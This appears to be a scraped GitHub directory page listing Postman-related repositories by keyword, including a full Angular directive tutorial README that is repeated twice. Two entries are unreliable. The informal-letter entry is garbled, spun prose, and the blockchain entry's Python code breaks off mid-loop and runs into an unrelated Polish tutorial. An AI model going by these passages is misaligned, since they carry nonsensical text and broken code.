cloud, consortium, signature, sort 		Cloud Signature Consortium Remote Signature Service Provider in Node.js 3 stars 3 watchers 1 forks
jsmars/MrPostman
game, mars, sort 		A post-sorting VR game created during GGJ18 1 stars 1 watchers 1 forks
ivansams/PostmanCollectionSorter
collection, collections, history, match, object, order, output, random, sort, source, version 		Cmd line app to sort the requests within Postman collections to match the order object. Postman randomly shuffles requests when outputting collections in order to make source control difficult even with minor changes. If this is run before each update to a collection, it allows you to see incremental changes to each version in history instead of the entire collection being shuffled. 1 stars 1 watchers 0 forks
nickrusso42518/postman
collection, collections, environment, environments, sort 		Assortment of Postman collections/environments 1 stars 1 watchers 0 forks
skhetarpaul/project-back-end
arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users 		This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. 1 stars 1 watchers 0 forks
coderIlluminatus/postman-youtube
client, intern, internship, sort, youtube 		YouTube API Search with client-side sorting - Assignment for Postman 6 months internship 0 stars 0 watchers 1 forks
kevincardona/kafka_ui
consume, consumer, interface, kafka, sort, test, testing 		An easy to use interface for testing Kafka consumers. It's sorta like Postman but for Kafka ✨. 0 stars 0 watchers 0 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
dwgrigsby/IndyNETConPostman201907
script, sort 		Indy .NET Consortium - Tricking out Postman, The API Development Environment (sound and raw transcript) 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
jeffubayi/Events-Organizer
application, event, mini, schedule, scheduler, sort, version 		An event scheduler application, sort of like a mini version of Eventbrite/Meetup 0 stars 0 watchers 0 forks
LOTIRELK/LetterBoxSimulation
display, e mail, experiment, following, initial, mail, office, play, process, program, sort 		Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). 0 stars 0 watchers 0 forks
LumosX/Requiem-for-the-Postman
game, sort 		Ludum Dare 42: Mail sorting game 0 stars 0 watchers 0 forks
martynow173/practice-3
actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user 		Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission 0 stars 0 watchers 0 forks
mistakenot/postman
email, mail, sort, writing 		Learning a full stack (TypeScript, Firebase, Angular 2, Node) by writing some sort of email inbox thing. 0 stars 0 watchers 0 forks

projects (15 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
ghostframe/postmandoc
generator, host, projects 		Postman Collection generator for Spring Rest Docs projects 0 stars 0 watchers 4 forks
sercheo87/convert-postman-jmeter
convert, jmeter, projects 		Convert projects Postman to JMeter 1 stars 1 watchers 0 forks
my-lambda-school-projects/postgres-with-postman-tdd
automat, automate, automated, lambda, postgres, projects, school 		Learning postgres with postman automated tdd 0 stars 0 watchers 2 forks
ddemott/spring-restful-web-services-crud-example
crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do 		DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 0 stars 0 watchers 1 forks
projects-qa/automation-APIs-OpenAPI-Apigee-Docker-Node-JS-Express-Postman-e-Heroku-
automat, automation, projects 		Implementação APIs com Apigee + Node.js + Docker + Heroku 0 stars 0 watchers 0 forks
EasyPrograms/Issue-Comment-From-Slack
github, projects, slack 		Postman Collection to add a feature of commenting on github projectss through slack channels 0 stars 0 watchers 0 forks
GuyBarros/postman-projects
projects 		a quick repo to hold all Postman projects 0 stars 0 watchers 0 forks
hairchinh/postman-pro-github-
data, future, github, projects, resource, source, storage 		postman pro github . Postman data github resource storage: applied to projects across space & time back to the past of the future 0 stars 0 watchers 0 forks
jadhavnikhil78/Android-Projects
android, multiple, projects, tool, tools 		This project contains multiple android projects developed using various tools and techniques like Java, Android Studios, Postman etc. 0 stars 0 watchers 0 forks
jango89/postman-test-validate-spring-cloud-configuration
actor, cloud, config, configuration, image, projects, spring, test, validating 		Docker image for validating ConnectionFactory created are not overriden for spring cloud projects. 0 stars 0 watchers 0 forks
madhan4493/Postman
projects 		Postman projects 0 stars 0 watchers 0 forks
Migraine-2020/Postman-1
projects, remote 		The first remote repo I am creating for Postman projects 0 stars 0 watchers 0 forks
ranierimazili/ibmbpm_unit_tests
blog, projects, test, tests, unit 		IBM BPM and Postman projects for my blog post 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks

controller (15 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get 